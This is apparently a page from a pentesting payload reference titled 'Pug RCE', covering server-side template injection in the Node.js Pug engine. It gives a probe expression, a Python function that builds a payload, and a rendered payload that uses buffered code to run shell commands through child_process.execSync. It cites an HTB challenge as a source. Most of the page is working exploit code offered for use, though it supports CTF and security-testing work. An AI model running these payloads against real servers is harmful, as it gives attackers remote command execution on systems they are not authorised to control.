Skip to content
Pug RCE

Pug RCE

Pug SSTI RCE via buffered JavaScript

Builds a Pug payload that evaluates buffered JavaScript and executes a command with Node.js child_process.execSync().

Testing

An evaluated arithmetic expression renders 49, confirming that the input reaches the Pug compiler as template source rather than plain data.

= 7 * 7

Command execution

Pug lines beginning with = evaluate a JavaScript expression and include its result in the rendered output. The expression reaches the Node.js process object, loads child_process through getBuiltinModule(), executes the command, and converts the returned buffer to a string.

import json

def pug_execsync_payload(command):
    payload = "= global.process.getBuiltinModule('child_process').execSync(" + json.dumps(command) + ").toString()"
    return payload

Rendered payload

= global.process.getBuiltinModule('child_process').execSync("id").toString()

This direct SSTI primitive requires control over Pug template source. The prototype-pollution variant reaches the same renderer through a polluted internal block.line property and remains documented separately under Prototype Pollution.

Find by: ssti, pug, nodejs, node, template injection, buffered code, javascript expression, global process, getBuiltinModule, child_process, execSync, command execution · Source: Pug documentation + HTB/Gunship